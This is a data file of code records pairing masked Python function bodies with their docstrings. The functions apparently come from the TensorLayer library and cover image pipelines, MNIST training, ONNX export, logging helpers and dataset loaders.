{"signature": "def example3():", "body": "n_data = <NUM_LIT:100><EOL>imgs_file_list = ['<STR_LIT>'] * n_data<EOL>train_targets = [np.ones(<NUM_LIT:1>)] * n_data<EOL>def generator():<EOL><INDENT>if len(imgs_file_list) != len(train_targets):<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>for _input, _target in zip(imgs_file_list, train_targets):<EOL><INDENT>yield _input, _target<EOL><DEDENT><DEDENT>def _data_aug_fn(image):<EOL><INDENT>transform_matrix = create_transformation_matrix()<EOL>result = tl.prepro.affine_transform_cv2(image, transform_matrix)  <EOL>return result<EOL><DEDENT>def _map_fn(image_path, target):<EOL><INDENT>image = tf.read_file(image_path)<EOL>image = tf.image.decode_jpeg(image, channels=<NUM_LIT:3>)  <EOL>image = tf.image.convert_image_dtype(image, dtype=tf.float32)<EOL>image = tf.py_func(_data_aug_fn, [image], [tf.float32])<EOL>target = tf.reshape(target, ())<EOL>return image, target<EOL><DEDENT>n_epoch = <NUM_LIT:10><EOL>batch_size = <NUM_LIT:5><EOL>dataset = tf.data.Dataset().from_generator(generator, output_types=(tf.string, tf.int64))<EOL>dataset = dataset.shuffle(buffer_size=<NUM_LIT>)  <EOL>dataset = dataset.repeat(n_epoch)<EOL>dataset = dataset.map(_map_fn, num_parallel_calls=multiprocessing.cpu_count())<EOL>dataset = dataset.batch(batch_size)  <EOL>dataset = dataset.prefetch(<NUM_LIT:1>)  <EOL>iterator = dataset.make_one_shot_iterator()<EOL>one_element = iterator.get_next()<EOL>sess = tf.Session()<EOL>n_step = round(n_epoch * n_data / batch_size)<EOL>st = time.time()<EOL>for _ in range(n_step):<EOL><INDENT>_images, _targets = sess.run(one_element)<EOL><DEDENT>print(\"<STR_LIT>\" % ((time.time() - st) / batch_size / n_step))<EOL>", "docstring": "Example 3: Using TF dataset API to load and process image for training", "id": "f11105:m3"}
{"signature": "def example4():", "body": "transform_matrix = create_transformation_matrix()<EOL>result = tl.prepro.affine_transform_cv2(image, transform_matrix)  <EOL>coords = [[(<NUM_LIT:50>, <NUM_LIT:100>), (<NUM_LIT:100>, <NUM_LIT:100>), (<NUM_LIT:100>, <NUM_LIT:50>), (<NUM_LIT:200>, <NUM_LIT:200>)], [(<NUM_LIT>, <NUM_LIT:50>), (<NUM_LIT:200>, <NUM_LIT:50>), (<NUM_LIT:200>, <NUM_LIT:100>)]]<EOL>coords_result = tl.prepro.affine_transform_keypoints(coords, transform_matrix)<EOL>def imwrite(image, coords_list, name):<EOL><INDENT>coords_list_ = []<EOL>for coords in coords_list:<EOL><INDENT>coords = np.array(coords, np.int32)<EOL>coords = coords.reshape((-<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:2>))<EOL>coords_list_.append(coords)<EOL><DEDENT>image = cv2.polylines(image, coords_list_, True, (<NUM_LIT:0>, <NUM_LIT:255>, <NUM_LIT:255>), <NUM_LIT:3>)<EOL>cv2.imwrite(name, image[..., ::-<NUM_LIT:1>])<EOL><DEDENT>imwrite(image, coords, '<STR_LIT>')<EOL>imwrite(result, coords_result, '<STR_LIT>')<EOL>", "docstring": "Example 4: Transforming coordinates using affine matrix.", "id": "f11105:m4"}
{"signature": "def generate_graph_and_checkpoint(graph_output_path, checkpoint_output_path):", "body": "X_train, y_train, X_val, y_val, X_test, y_test = tl.files.load_mnist_dataset(shape=(-<NUM_LIT:1>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT:1>))<EOL>sess = tf.InteractiveSession()<EOL>batch_size = <NUM_LIT><EOL>x = tf.placeholder(tf.float32, shape=[batch_size, <NUM_LIT>, <NUM_LIT>, <NUM_LIT:1>])  <EOL>y_ = tf.placeholder(tf.int64, shape=[batch_size])<EOL>net = tl.layers.InputLayer(x, name='<STR_LIT:input>')<EOL>net = tl.layers.Conv2d(net, <NUM_LIT:32>, (<NUM_LIT:5>, <NUM_LIT:5>), (<NUM_LIT:1>, <NUM_LIT:1>), act=tf.nn.relu, padding='<STR_LIT>', name='<STR_LIT>')<EOL>net = tl.layers.MaxPool2d(net, (<NUM_LIT:2>, <NUM_LIT:2>), (<NUM_LIT:2>, <NUM_LIT:2>), padding='<STR_LIT>', name='<STR_LIT>')<EOL>net = tl.layers.Conv2d(net, <NUM_LIT:64>, (<NUM_LIT:5>, <NUM_LIT:5>), (<NUM_LIT:1>, <NUM_LIT:1>), act=tf.nn.relu, padding='<STR_LIT>', name='<STR_LIT>')<EOL>net = tl.layers.MaxPool2d(net, (<NUM_LIT:2>, <NUM_LIT:2>), (<NUM_LIT:2>, <NUM_LIT:2>), padding='<STR_LIT>', name='<STR_LIT>')<EOL>net = tl.layers.FlattenLayer(net, name='<STR_LIT>')<EOL>net = tl.layers.DropoutLayer(net, keep=<NUM_LIT:0.5>, name='<STR_LIT>')<EOL>net = tl.layers.DenseLayer(net, <NUM_LIT>, act=tf.nn.relu, name='<STR_LIT>')<EOL>net = tl.layers.DropoutLayer(net, keep=<NUM_LIT:0.5>, name='<STR_LIT>')<EOL>net = tl.layers.DenseLayer(net, <NUM_LIT:10>, act=None, name='<STR_LIT>')<EOL>y = net.outputs<EOL>print([n.name for n in tf.get_default_graph().as_graph_def().node])<EOL>with open(graph_output_path, \"<STR_LIT:wb>\") as file:<EOL><INDENT>graph = tf.get_default_graph().as_graph_def(add_shapes=True)<EOL>file.write(graph.SerializeToString())<EOL><DEDENT>cost = tl.cost.cross_entropy(y, y_, '<STR_LIT>')<EOL>correct_prediction = tf.equal(tf.argmax(y, <NUM_LIT:1>), y_)<EOL>acc = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))<EOL>n_epoch = <NUM_LIT:200><EOL>learning_rate = <NUM_LIT><EOL>print_freq = <NUM_LIT:10><EOL>train_params = net.all_params<EOL>train_op = tf.train.AdamOptimizer(learning_rate).minimize(cost, var_list=train_params)<EOL>tl.layers.initialize_global_variables(sess)<EOL>net.print_params()<EOL>net.print_layers()<EOL>print('<STR_LIT>' % learning_rate)<EOL>print('<STR_LIT>' % batch_size)<EOL>for epoch in range(n_epoch):<EOL><INDENT>start_time = time.time()<EOL>for X_train_a, y_train_a in tl.iterate.minibatches(X_train, y_train, batch_size, shuffle=True):<EOL><INDENT>feed_dict = {x: X_train_a, y_: y_train_a}<EOL>feed_dict.update(net.all_drop)  <EOL>sess.run(train_op, feed_dict=feed_dict)<EOL><DEDENT>if epoch % <NUM_LIT:10> == <NUM_LIT:0>:<EOL><INDENT>tl.files.save_ckpt(sess, mode_name='<STR_LIT>', save_dir=checkpoint_output_path, printable=True)<EOL><DEDENT>if epoch + <NUM_LIT:1> == <NUM_LIT:1> or (epoch + <NUM_LIT:1>) % print_freq == <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\" % (epoch + <NUM_LIT:1>, n_epoch, time.time() - start_time))<EOL>train_loss, train_acc, n_batch = <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0><EOL>for X_train_a, y_train_a in tl.iterate.minibatches(X_train, y_train, batch_size, shuffle=True):<EOL><INDENT>dp_dict = tl.utils.dict_to_one(net.all_drop)  <EOL>feed_dict = {x: X_train_a, y_: y_train_a}<EOL>feed_dict.update(dp_dict)<EOL>err, ac = sess.run([cost, acc], feed_dict=feed_dict)<EOL>train_loss += err<EOL>train_acc += ac<EOL>n_batch += <NUM_LIT:1><EOL><DEDENT>print(\"<STR_LIT>\" % (train_loss / n_batch))<EOL>print(\"<STR_LIT>\" % (train_acc / n_batch))<EOL>val_loss, val_acc, n_batch = <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0><EOL>for X_val_a, y_val_a in tl.iterate.minibatches(X_val, y_val, batch_size, shuffle=True):<EOL><INDENT>dp_dict = tl.utils.dict_to_one(net.all_drop)  <EOL>feed_dict = {x: X_val_a, y_: y_val_a}<EOL>feed_dict.update(dp_dict)<EOL>err, ac = sess.run([cost, acc], feed_dict=feed_dict)<EOL>val_loss += err<EOL>val_acc += ac<EOL>n_batch += <NUM_LIT:1><EOL><DEDENT>print(\"<STR_LIT>\" % (val_loss / n_batch))<EOL>print(\"<STR_LIT>\" % (val_acc / n_batch))<EOL><DEDENT><DEDENT>print('<STR_LIT>')<EOL>test_loss, test_acc, n_batch = <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0><EOL>for X_test_a, y_test_a in tl.iterate.minibatches(X_test, y_test, batch_size, shuffle=True):<EOL><INDENT>dp_dict = tl.utils.dict_to_one(net.all_drop)  <EOL>feed_dict = {x: X_test_a, y_: y_test_a}<EOL>feed_dict.update(dp_dict)<EOL>err, ac = sess.run([cost, acc], feed_dict=feed_dict)<EOL>test_loss += err<EOL>test_acc += ac<EOL>n_batch += <NUM_LIT:1><EOL><DEDENT>print(\"<STR_LIT>\" % (test_loss / n_batch))<EOL>print(\"<STR_LIT>\" % (test_acc / n_batch))<EOL>", "docstring": "Reimplementation of the TensorFlow official MNIST CNN tutorials and generate the graph and checkpoint for this model:\n- https://www.tensorflow.org/versions/r0.8/tutorials/mnist/pros/index.html\n- https://github.com/tensorflow/tensorflow/blob/master/tensorflow/models/image/mnist/convolutional.py\n\n- For simplified CNN layer see \"Convolutional layer (Simplified)\"\n\nParameters\n-----------\ngraph_output_path : string\n    the path of the graph where you want to save.\ncheckpoint_output_path : string\n    the path of the checkpoint where you want to save.\n\nReferences\n-----------\n- `onnx-tf exporting tutorial <https://github.com/onnx/tutorials/blob/master/tutorials/OnnxTensorflowExport.ipynb>`__", "id": "f11112:m0"}
{"signature": "def freeze_graph(graph_path, checkpoint_path, output_path, end_node_names, is_binary_graph):", "body": "_freeze_graph(<EOL>input_graph=graph_path, input_saver='<STR_LIT>', input_binary=is_binary_graph, input_checkpoint=checkpoint_path,<EOL>output_graph=output_path, output_node_names=end_node_names, restore_op_name='<STR_LIT>',<EOL>filename_tensor_name='<STR_LIT>', clear_devices=True, initializer_nodes=None<EOL>)<EOL>", "docstring": "Reimplementation of the TensorFlow official freeze_graph function to freeze the graph and checkpoint together:\n\n    Parameters\n    -----------\n    graph_path : string\n        the path where your graph file save.\n    checkpoint_output_path : string\n        the path where your checkpoint save.\n    output_path : string\n        the path where you want to save the output proto buff\n    end_node_names : string\n        the name of the end node in your graph you want to get in your proto buff\n    is_binary_graph : boolean\n        declare your file whether is a binary graph\n\n    References\n    ----------\n    - `onnx-tf exporting tutorial <https://github.com/onnx/tutorials/blob/master/tutorials/OnnxTensorflowExport.ipynb>`__\n    - `tensorflow freeze_graph <https://github.com/tensorflow/tensorflow/blob/master/tensorflow/python/tools/freeze_graph.py>`", "id": "f11112:m1"}
{"signature": "def convert_model_to_onnx(frozen_graph_path, end_node_names, onnx_output_path):", "body": "with tf.gfile.GFile(frozen_graph_path, \"<STR_LIT:rb>\") as f:<EOL><INDENT>graph_def = tf.GraphDef()<EOL>graph_def.ParseFromString(f.read())<EOL>onnx_model = tensorflow_graph_to_onnx_model(graph_def, end_node_names, opset=<NUM_LIT:6>)<EOL>file = open(onnx_output_path, \"<STR_LIT:wb>\")<EOL>file.write(onnx_model.SerializeToString())<EOL>file.close()<EOL><DEDENT>", "docstring": "Reimplementation of the TensorFlow-onnx official tutorial convert the proto buff to onnx file:\n\n    Parameters\n    -----------\n    frozen_graph_path : string\n        the path where your frozen graph file save.\n    end_node_names : string\n        the name of the end node in your graph you want to get in your proto buff\n    onnx_output_path : string\n        the path where you want to save the onnx file.\n\n    References\n    -----------\n    - `onnx-tf exporting tutorial <https://github.com/onnx/tutorials/blob/master/tutorials/OnnxTensorflowExport.ipynb>`", "id": "f11112:m2"}
{"signature": "def convert_onnx_to_model(onnx_input_path):", "body": "model = onnx.load(onnx_input_path)<EOL>tf_rep = prepare(model)<EOL>img = np.load(\"<STR_LIT>\")<EOL>output = tf_rep.run(img.reshape([<NUM_LIT:1>, <NUM_LIT>]))<EOL>print(\"<STR_LIT>\", np.argmax(output))<EOL>", "docstring": "Reimplementation of the TensorFlow-onnx official tutorial convert the onnx file to specific: model\n\n    Parameters\n    -----------\n    onnx_input_path : string\n    the path where you save the onnx file.\n\n    References\n    -----------\n    - `onnx-tf exporting tutorial <https://github.com/onnx/tutorials/blob/master/tutorials/OnnxTensorflowExport.ipynb>`__", "id": "f11112:m3"}
{"signature": "def _GetNextLogCountPerToken(token):", "body": "global _log_counter_per_token  <EOL>_log_counter_per_token[token] = <NUM_LIT:1> + _log_counter_per_token.get(token, -<NUM_LIT:1>)<EOL>return _log_counter_per_token[token]<EOL>", "docstring": "Wrapper for _log_counter_per_token.\n\n    Args:\n    token: The token for which to look up the count.\n\n    Returns:\n    The number of times this function has been called with\n    *token* as an argument (starting at 0)", "id": "f11116:m11"}
{"signature": "def log_every_n(level, msg, n, *args):", "body": "count = _GetNextLogCountPerToken(_GetFileAndLine())<EOL>log_if(level, msg, not (count % n), *args)<EOL>", "docstring": "Log 'msg % args' at level 'level' once per 'n' times.\n\n    Logs the 1st call, (N+1)st call, (2N+1)st call,  etc.\n    Not threadsafe.\n\n    Args:\n    level: The level at which to log.\n    msg: The message to be logged.\n    n: The number of times this should be called before it is logged.\n    *args: The args to be substituted into the msg.", "id": "f11116:m12"}
{"signature": "def log_first_n(level, msg, n, *args):  ", "body": "count = _GetNextLogCountPerToken(_GetFileAndLine())<EOL>log_if(level, msg, count < n, *args)<EOL>", "docstring": "Log 'msg % args' at level 'level' only first 'n' times.\n\n    Not threadsafe.\n\n    Args:\n    level: The level at which to log.\n    msg: The message to be logged.\n    n: The number of times this should be called before it is logged.\n    *args: The args to be substituted into the msg.", "id": "f11116:m13"}
{"signature": "def log_if(level, msg, condition, *args):", "body": "if condition:<EOL><INDENT>vlog(level, msg, *args)<EOL><DEDENT>", "docstring": "Log 'msg % args' at level 'level' only if condition is fulfilled.", "id": "f11116:m14"}
{"signature": "def _GetFileAndLine():", "body": "<EOL>f = _sys._getframe()<EOL>our_file = f.f_code.co_filename<EOL>f = f.f_back<EOL>while f:<EOL><INDENT>code = f.f_code<EOL>if code.co_filename != our_file:<EOL><INDENT>return (code.co_filename, f.f_lineno)<EOL><DEDENT>f = f.f_back<EOL><DEDENT>return ('<STR_LIT>', <NUM_LIT:0>)<EOL>", "docstring": "Returns (filename, linenumber) for the stack frame.", "id": "f11116:m15"}
{"signature": "def google2_log_prefix(level, timestamp=None, file_and_line=None):", "body": "<EOL>global _level_names<EOL>now = timestamp or _time.time()<EOL>now_tuple = _time.localtime(now)<EOL>now_microsecond = int(<NUM_LIT> * (now % <NUM_LIT:1.0>))<EOL>(filename, line) = file_and_line or _GetFileAndLine()<EOL>basename = _os.path.basename(filename)<EOL>severity = '<STR_LIT:I>'<EOL>if level in _level_names:<EOL><INDENT>severity = _level_names[level][<NUM_LIT:0>]<EOL><DEDENT>s = '<STR_LIT>' % (<EOL>severity,<EOL>now_tuple[<NUM_LIT:1>],  <EOL>now_tuple[<NUM_LIT:2>],  <EOL>now_tuple[<NUM_LIT:3>],  <EOL>now_tuple[<NUM_LIT:4>],  <EOL>now_tuple[<NUM_LIT:5>],  <EOL>now_microsecond,<EOL>_get_thread_id(),<EOL>basename,<EOL>line<EOL>)<EOL>return s<EOL>", "docstring": "Assemble a logline prefix using the google2 format.", "id": "f11116:m16"}
{"signature": "def get_verbosity():", "body": "return _get_logger().getEffectiveLevel()<EOL>", "docstring": "Return how much logging output will be produced.", "id": "f11116:m17"}
{"signature": "def set_verbosity(v):", "body": "_get_logger().setLevel(v)<EOL>", "docstring": "Sets the threshold for what messages will be logged.", "id": "f11116:m18"}
{"signature": "def _get_thread_id():", "body": "<EOL>thread_id = six.moves._thread.get_ident()<EOL>return thread_id & _THREAD_ID_MASK<EOL>", "docstring": "Get id of current thread, suitable for logging as an unsigned quantity.", "id": "f11116:m19"}
{"signature": "def deconv2d_bilinear_upsampling_initializer(shape):", "body": "if shape[<NUM_LIT:0>] != shape[<NUM_LIT:1>]:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>if shape[<NUM_LIT:3>] < shape[<NUM_LIT:2>]:<EOL><INDENT>raise Exception(<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>filter_size = shape[<NUM_LIT:0>]<EOL>num_out_channels = shape[<NUM_LIT:2>]<EOL>num_in_channels = shape[<NUM_LIT:3>]<EOL>bilinear_kernel = np.zeros([filter_size, filter_size], dtype=np.float32)<EOL>scale_factor = (filter_size + <NUM_LIT:1>) // <NUM_LIT:2><EOL>if filter_size % <NUM_LIT:2> == <NUM_LIT:1>:<EOL><INDENT>center = scale_factor - <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>center = scale_factor - <NUM_LIT:0.5><EOL><DEDENT>for x in range(filter_size):<EOL><INDENT>for y in range(filter_size):<EOL><INDENT>bilinear_kernel[x, y] = (<NUM_LIT:1> - abs(x - center) / scale_factor) * (<NUM_LIT:1> - abs(y - center) / scale_factor)<EOL><DEDENT><DEDENT>weights = np.zeros((filter_size, filter_size, num_out_channels, num_in_channels))<EOL>for i in range(num_out_channels):<EOL><INDENT>weights[:, :, i, i] = bilinear_kernel<EOL><DEDENT>return tf.constant_initializer(value=weights, dtype=LayersConfig.tf_dtype)<EOL>", "docstring": "Returns the initializer that can be passed to DeConv2dLayer for initializing the\n    weights in correspondence to channel-wise bilinear up-sampling.\n    Used in segmentation approaches such as [FCN](https://arxiv.org/abs/1605.06211)\n\n    Parameters\n    ----------\n    shape : tuple of int\n        The shape of the filters, [height, width, output_channels, in_channels].\n        It must match the shape passed to DeConv2dLayer.\n\n    Returns\n    -------\n    ``tf.constant_initializer``\n        A constant initializer with weights set to correspond to per channel bilinear upsampling\n        when passed as W_int in DeConv2dLayer\n\n    Examples\n    --------\n    - Upsampling by a factor of 2, ie e.g 100->200\n    >>> import tensorflow as tf\n    >>> import tensorlayer as tl\n    >>> rescale_factor = 2\n    >>> imsize = 128\n    >>> num_channels = 3\n    >>> filter_shape = (5, 5)\n    >>> filter_size = (2 * rescale_factor - rescale_factor % 2) #Corresponding bilinear filter size\n    >>> num_in_channels = 3\n    >>> num_out_channels = 3\n    >>> deconv_filter_shape = (filter_size, filter_size, num_out_channels, num_in_channels)\n    >>> x = tf.placeholder(tf.float32, (1, imsize, imsize, num_channels))\n    >>> net = tl.layers.InputLayer(x, name='input_layer')\n    >>> bilinear_init = deconv2d_bilinear_upsampling_initializer(shape=filter_shape)\n    >>> net = tl.layers.DeConv2dLayer(net,\n    ...                    shape=filter_shape,\n    ...                    output_shape=(1, imsize*rescale_factor, imsize*rescale_factor, num_out_channels),\n    ...                    strides=(1, rescale_factor, rescale_factor, 1),\n    ...                    W_init=bilinear_init,\n    ...                    padding='SAME',\n    ...                    act=None, name='g/h1/decon2d')", "id": "f11119:m0"}
{"signature": "def load_cifar10_dataset(shape=(-<NUM_LIT:1>, <NUM_LIT:32>, <NUM_LIT:32>, <NUM_LIT:3>), path='<STR_LIT:data>', plotable=False):", "body": "path = os.path.join(path, '<STR_LIT>')<EOL>logging.info(\"<STR_LIT>\".format(path))<EOL>def unpickle(file):<EOL><INDENT>fp = open(file, '<STR_LIT:rb>')<EOL>if sys.version_info.major == <NUM_LIT:2>:<EOL><INDENT>data = pickle.load(fp)<EOL><DEDENT>elif sys.version_info.major == <NUM_LIT:3>:<EOL><INDENT>data = pickle.load(fp, encoding='<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>fp.close()<EOL>return data<EOL><DEDENT>filename = '<STR_LIT>'<EOL>url = '<STR_LIT>'<EOL>maybe_download_and_extract(filename, path, url, extract=True)<EOL>X_train = None<EOL>y_train = []<EOL>for i in range(<NUM_LIT:1>, <NUM_LIT:6>):<EOL><INDENT>data_dic = unpickle(os.path.join(path, '<STR_LIT>', \"<STR_LIT>\".format(i)))<EOL>if i == <NUM_LIT:1>:<EOL><INDENT>X_train = data_dic['<STR_LIT:data>']<EOL><DEDENT>else:<EOL><INDENT>X_train = np.vstack((X_train, data_dic['<STR_LIT:data>']))<EOL><DEDENT>y_train += data_dic['<STR_LIT>']<EOL><DEDENT>test_data_dic = unpickle(os.path.join(path, '<STR_LIT>', \"<STR_LIT>\"))<EOL>X_test = test_data_dic['<STR_LIT:data>']<EOL>y_test = np.array(test_data_dic['<STR_LIT>'])<EOL>if shape == (-<NUM_LIT:1>, <NUM_LIT:3>, <NUM_LIT:32>, <NUM_LIT:32>):<EOL><INDENT>X_test = X_test.reshape(shape)<EOL>X_train = X_train.reshape(shape)<EOL><DEDENT>elif shape == (-<NUM_LIT:1>, <NUM_LIT:32>, <NUM_LIT:32>, <NUM_LIT:3>):<EOL><INDENT>X_test = X_test.reshape(shape, order='<STR_LIT:F>')<EOL>X_train = X_train.reshape(shape, order='<STR_LIT:F>')<EOL>X_test = np.transpose(X_test, (<NUM_LIT:0>, <NUM_LIT:2>, <NUM_LIT:1>, <NUM_LIT:3>))<EOL>X_train = np.transpose(X_train, (<NUM_LIT:0>, <NUM_LIT:2>, <NUM_LIT:1>, <NUM_LIT:3>))<EOL><DEDENT>else:<EOL><INDENT>X_test = X_test.reshape(shape)<EOL>X_train = X_train.reshape(shape)<EOL><DEDENT>y_train = np.array(y_train)<EOL>if plotable:<EOL><INDENT>logging.info('<STR_LIT>')<EOL>import matplotlib.pyplot as plt<EOL>fig = plt.figure(<NUM_LIT:1>)<EOL>logging.info('<STR_LIT>' % X_train[<NUM_LIT:0>].shape)<EOL>plt.ion()  <EOL>count = <NUM_LIT:1><EOL>for _ in range(<NUM_LIT:10>):  <EOL><INDENT>for _ in range(<NUM_LIT:10>):  <EOL><INDENT>_ = fig.add_subplot(<NUM_LIT:10>, <NUM_LIT:10>, count)<EOL>if shape == (-<NUM_LIT:1>, <NUM_LIT:3>, <NUM_LIT:32>, <NUM_LIT:32>):<EOL><INDENT>plt.imshow(np.transpose(X_train[count - <NUM_LIT:1>], (<NUM_LIT:1>, <NUM_LIT:2>, <NUM_LIT:0>)), interpolation='<STR_LIT>')<EOL><DEDENT>elif shape == (-<NUM_LIT:1>, <NUM_LIT:32>, <NUM_LIT:32>, <NUM_LIT:3>):<EOL><INDENT>plt.imshow(X_train[count - <NUM_LIT:1>], interpolation='<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>plt.gca().xaxis.set_major_locator(plt.NullLocator())<EOL>plt.gca().yaxis.set_major_locator(plt.NullLocator())<EOL>count = count + <NUM_LIT:1><EOL><DEDENT><DEDENT>plt.draw()  <EOL>plt.pause(<NUM_LIT:3>)  <EOL>logging.info(\"<STR_LIT>\" % X_train.shape)<EOL>logging.info(\"<STR_LIT>\" % y_train.shape)<EOL>logging.info(\"<STR_LIT>\" % X_test.shape)<EOL>logging.info(\"<STR_LIT>\" % y_test.shape)<EOL><DEDENT>X_train = np.asarray(X_train, dtype=np.float32)<EOL>X_test = np.asarray(X_test, dtype=np.float32)<EOL>y_train = np.asarray(y_train, dtype=np.int32)<EOL>y_test = np.asarray(y_test, dtype=np.int32)<EOL>return X_train, y_train, X_test, y_test<EOL>", "docstring": "Load CIFAR-10 dataset.\n\n    It consists of 60000 32x32 colour images in 10 classes, with\n    6000 images per class. There are 50000 training images and 10000 test images.\n\n    The dataset is divided into five training batches and one test batch, each with\n    10000 images. The test batch contains exactly 1000 randomly-selected images from\n    each class. The training batches contain the remaining images in random order,\n    but some training batches may contain more images from one class than another.\n    Between them, the training batches contain exactly 5000 images from each class.\n\n    Parameters\n    ----------\n    shape : tupe\n        The shape of digit images e.g. (-1, 3, 32, 32) and (-1, 32, 32, 3).\n    path : str\n        The path that the data is downloaded to, defaults is ``data/cifar10/``.\n    plotable : boolean\n        Whether to plot some image examples, False as default.\n\n    Examples\n    --------\n    >>> X_train, y_train, X_test, y_test = tl.files.load_cifar10_dataset(shape=(-1, 32, 32, 3))\n\n    References\n    ----------\n    - `CIFAR website <https://www.cs.toronto.edu/~kriz/cifar.html>`__\n    - `Data download link <https://www.cs.toronto.edu/~kriz/cifar-10-python.tar.gz>`__\n    - `<https://teratail.com/questions/28932>`__", "id": "f11120:m0"}
{"signature": "def load_ptb_dataset(path='<STR_LIT:data>'):", "body": "path = os.path.join(path, '<STR_LIT>')<EOL>logging.info(\"<STR_LIT>\".format(path))<EOL>filename = '<STR_LIT>'<EOL>url = '<STR_LIT>'<EOL>maybe_download_and_extract(filename, path, url, extract=True)<EOL>data_path = os.path.join(path, '<STR_LIT>', '<STR_LIT:data>')<EOL>train_path = os.path.join(data_path, \"<STR_LIT>\")<EOL>valid_path = os.path.join(data_path, \"<STR_LIT>\")<EOL>test_path = os.path.join(data_path, \"<STR_LIT>\")<EOL>word_to_id = nlp.build_vocab(nlp.read_words(train_path))<EOL>train_data = nlp.words_to_word_ids(nlp.read_words(train_path), word_to_id)<EOL>valid_data = nlp.words_to_word_ids(nlp.read_words(valid_path), word_to_id)<EOL>test_data = nlp.words_to_word_ids(nlp.read_words(test_path), word_to_id)<EOL>vocab_size = len(word_to_id)<EOL>return train_data, valid_data, test_data, vocab_size<EOL>", "docstring": "Load Penn TreeBank (PTB) dataset.\n\n    It is used in many LANGUAGE MODELING papers,\n    including \"Empirical Evaluation and Combination of Advanced Language\n    Modeling Techniques\", \"Recurrent Neural Network Regularization\".\n    It consists of 929k training words, 73k validation words, and 82k test\n    words. It has 10k words in its vocabulary.\n\n    Parameters\n    ----------\n    path : str\n        The path that the data is downloaded to, defaults is ``data/ptb/``.\n\n    Returns\n    --------\n    train_data, valid_data, test_data : list of int\n        The training, validating and testing data in integer format.\n    vocab_size : int\n        The vocabulary size.\n\n    Examples\n    --------\n    >>> train_data, valid_data, test_data, vocab_size = tl.files.load_ptb_dataset()\n\n    References\n    ---------------\n    - ``tensorflow.models.rnn.ptb import reader``\n    - `Manual download <http://www.fit.vutbr.cz/~imikolov/rnnlm/simple-examples.tgz>`__\n\n    Notes\n    ------\n    - If you want to get the raw data, see the source code.", "id": "f11121:m0"}
{"signature": "def load_flickr1M_dataset(tag='<STR_LIT>', size=<NUM_LIT:10>, path=\"<STR_LIT:data>\", n_threads=<NUM_LIT:50>, printable=False):", "body": "import shutil<EOL>path = os.path.join(path, '<STR_LIT>')<EOL>logging.info(\"<STR_LIT>\".format(size * <NUM_LIT:10>, size * <NUM_LIT>))<EOL>images_zip = [<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'<EOL>]<EOL>tag_zip = '<STR_LIT>'<EOL>url = '<STR_LIT>'<EOL>for image_zip in images_zip[<NUM_LIT:0>:size]:<EOL><INDENT>image_folder = image_zip.split(\"<STR_LIT:.>\")[<NUM_LIT:0>]<EOL>if folder_exists(os.path.join(path, image_folder)) is False:<EOL><INDENT>logging.info(\"<STR_LIT>\".format(image_folder, path))<EOL>maybe_download_and_extract(image_zip, path, url, extract=True)<EOL>del_file(os.path.join(path, image_zip))<EOL>shutil.move(os.path.join(path, '<STR_LIT>'), os.path.join(path, image_folder))<EOL><DEDENT>else:<EOL><INDENT>logging.info(\"<STR_LIT>\".format(image_folder, path))<EOL><DEDENT><DEDENT>if folder_exists(os.path.join(path, \"<STR_LIT>\")) is False:<EOL><INDENT>logging.info(\"<STR_LIT>\".format(path))<EOL>maybe_download_and_extract(tag_zip, path, url, extract=True)<EOL>del_file(os.path.join(path, tag_zip))<EOL><DEDENT>else:<EOL><INDENT>logging.info(\"<STR_LIT>\".format(path))<EOL><DEDENT>images_list = []<EOL>images_folder_list = []<EOL>for i in range(<NUM_LIT:0>, size):<EOL><INDENT>images_folder_list += load_folder_list(path=os.path.join(path, '<STR_LIT>' % i))<EOL><DEDENT>images_folder_list.sort(key=lambda s: int(s.split('<STR_LIT:/>')[-<NUM_LIT:1>]))  <EOL>for folder in images_folder_list[<NUM_LIT:0>:size * <NUM_LIT:10>]:<EOL><INDENT>tmp = load_file_list(path=folder, regx='<STR_LIT>', printable=False)<EOL>tmp.sort(key=lambda s: int(s.split('<STR_LIT:.>')[-<NUM_LIT:2>]))  <EOL>images_list.extend([os.path.join(folder, x) for x in tmp])<EOL><DEDENT>tag_list = []<EOL>tag_folder_list = load_folder_list(os.path.join(path, \"<STR_LIT>\"))<EOL>tag_folder_list.sort(key=lambda s: int(os.path.basename(s)))<EOL>for folder in tag_folder_list[<NUM_LIT:0>:size * <NUM_LIT:10>]:<EOL><INDENT>tmp = load_file_list(path=folder, regx='<STR_LIT>', printable=False)<EOL>tmp.sort(key=lambda s: int(s.split('<STR_LIT:.>')[-<NUM_LIT:2>]))  <EOL>tmp = [os.path.join(folder, s) for s in tmp]<EOL>tag_list += tmp<EOL><DEDENT>logging.info(\"<STR_LIT>\".format(tag))<EOL>select_images_list = []<EOL>for idx, _val in enumerate(tag_list):<EOL><INDENT>tags = read_file(tag_list[idx]).split('<STR_LIT:\\n>')<EOL>if tag in tags:<EOL><INDENT>select_images_list.append(images_list[idx])<EOL><DEDENT><DEDENT>logging.info(\"<STR_LIT>\".format(tag))<EOL>images = visualize.read_images(select_images_list, '<STR_LIT>', n_threads=n_threads, printable=printable)<EOL>return images<EOL>", "docstring": "Load Flick1M dataset.\n\n    Returns a list of images by a given tag from Flickr1M dataset,\n    it will download Flickr1M from `the official website <http://press.liacs.nl/mirflickr/mirdownload.html>`__\n    at the first time you use it.\n\n    Parameters\n    ------------\n    tag : str or None\n        What images to return.\n            - If you want to get images with tag, use string like 'dog', 'red', see `Flickr Search <https://www.flickr.com/search/>`__.\n            - If you want to get all images, set to ``None``.\n\n    size : int\n        integer between 1 to 10. 1 means 100k images ... 5 means 500k images, 10 means all 1 million images. Default is 